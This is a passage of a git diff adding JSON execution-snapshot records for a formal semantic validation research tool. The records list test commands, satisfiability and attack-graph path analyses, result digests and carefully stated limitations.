"issue-1242-execution-v24", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "c105d5240ab0b4d794cc7bfb8901fc696c324016", + "source_state": { + "base_revision": "c105d5240ab0b4d794cc7bfb8901fc696c324016", + "checkout_state": "modified", + "implementation_digest": "6cddf7aaf4655a7263b5572324521d7dae3ce9bf57959fe1999029394f319dbb", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v25.json b/docs/research/formal-semantic-validation/execution-snapshot-v25.json new file mode 100644 index 000000000..28d82eef6 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v25.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1242-execution-v24", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v24.json", + "release_revision": "25.0.0", + "release_sha256": "c4398ea86b46ad85cc0a1bec1402d8347088734d8840948b1da2dd603e97d80e" + }, + "captured_at": "2026-09-16T23:09:11.934863+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v25", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-214-execution-v25", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v25", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-214-execution-v25", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "4c41d579818948cb673c8b81d3761b364da335e9", + "source_state": { + "base_revision": "4c41d579818948cb673c8b81d3761b364da335e9", + "checkout_state": "modified", + "implementation_digest": "f6ee2cf894d554d69bbf784efdccd1158605ade452ad3379072077ad47c7b73c", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v26.json b/docs/research/formal-semantic-validation/execution-snapshot-v26.json new file mode 100644 index 000000000..2d5dc2cde --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v26.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-214-execution-v25", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v25.json", + "release_revision": "26.0.0", + "release_sha256": "6aab64d37298ef8c77bf6e4fae1edf1794199df6da9951052aa78fd3f4958da5" + }, + "captured_at": "2026-09-17T03:15:00+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + 